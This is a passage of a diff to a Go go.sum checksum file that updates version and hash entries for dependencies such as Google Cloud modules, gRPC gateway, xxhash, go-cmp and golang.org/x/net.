h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= +cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= +cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= +cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= +cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= @@ -91,11 +428,14 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= @@ -106,11 +446,14 @@ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGX github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -152,9 +495,12 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.m github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.3.0-java h1:bV5JGEB1ouEzZa0hgVDFFiClrUEuGWRaAc/3mxR2QK0= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= +github.com/envoyproxy/protoc-gen-validate v0.9.1 h1:PS7VIOgmSVhWUEeZwTe7z7zouA22Cr590PzXKbZHOVY= +github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= @@ -190,8 +536,9 @@ github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7a github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/glog v1.0.0 h1:nfP3RFugxnNRyKgeWd4oI1nYvXpxrx8ck8ZrcizshdQ= +github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= @@ -242,8 +589,9 @@ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -270,6 +618,11 @@ github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+ github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= +github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= @@ -277,6 +630,10 @@ github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0 github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= +github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -288,6 +645,10 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2 h1:gDLXvp5S9izjldquuoAhDzccbskOL6tDC5jMSyx3zxE= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2/go.mod h1:7pdNwVWBBHGiCxa9lAszqCJMbfTISJ7oMftp8+UGV08= github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -320,6 +681,7 @@ github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpT github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= @@ -420,6 +782,8 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= @@ -626,6 +990,7 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= @@ -664,7 +1029,9 @@ go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= @@ -735,8 +1102,10 @@ golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= +golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -780,6 +1149,7 @@ golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96b golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= @@ -787,7 +1157,16 @@ golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -810,6 +1189,14 @@ golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -823,7 +1210,10 @@ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod 